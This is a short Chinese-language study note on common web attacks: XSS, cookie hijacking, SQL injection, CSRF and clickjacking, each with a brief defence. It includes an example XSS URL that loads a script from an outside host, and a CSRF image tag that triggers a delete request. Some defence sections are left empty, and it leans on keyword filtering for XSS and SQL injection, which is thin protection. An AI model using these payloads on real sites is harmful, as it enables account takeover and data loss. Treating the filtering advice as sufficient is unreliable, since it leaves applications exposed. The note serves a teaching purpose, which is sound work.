1: XSS(cross site Script)跨站脚本攻击
XSS的类型:
1: get型
指诱导用户打开一个url,这个url的片段标志符是执行一段下载恶意攻击的js文件的js代码,例如
http://hehe.com/hehe.html?name=xss<script src=http://haha.com/xxs.js></script>
防御:
2: post型
在表单提交的时候,在类似于富文本框之类的地方输入一段恶意的js代码。
防御:对表单提交的内容做格式检查和关键字过滤,比如:
1: 邮箱必须是邮箱的格式,名字只能是字母。。。
2: 富文本框过滤特殊符号‘<script’之类的
3: Cookie劫持
一般Cookie存放着一些重要的信息,例如客户的登陆信息,如果Cookie被劫持,那就暴露了用户信息,更严重的是攻击者可以用此登陆被害人的账号。
2: SQL注入
指客户可以向服务器提交一段SQL代码。
预防:
1: 做表单验证,过滤特殊字符
3: 跨站请求伪造(CSRF:Cross Site Request Forgery)
指B站的攻击者可以得到在A站某个请求的所有参数,在B站发起一个属于A站的请求,这就是跨站请求。例如:
GET http://a.com/item/delete?id=1
客户登陆了A站,然后又去访问B站,在B站请求了一张图片
<img src="http://a.com/item/delete?id=1"/>
这时候受害者在不知道的情况下发起了一个删除请求。
防御:
每一个请求都加一个token,服务器端对每个请求都验证token。
4: 点击劫持(ClickJacking)
用一个透明的iframe覆盖在网页上,欺骗客户在这个iframe上操作。解决的办法是从根源上解决,也就是条件式地允许iframe的嵌入。在HTTP头:X-Frame-Options设置自己想要的值:
DENY:禁止任何页面的frame加载;
SAMEORIGIN:只有同源页面的frame可加载;
ALLOW-FROM:可定义允许frame加载的页面地址。
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。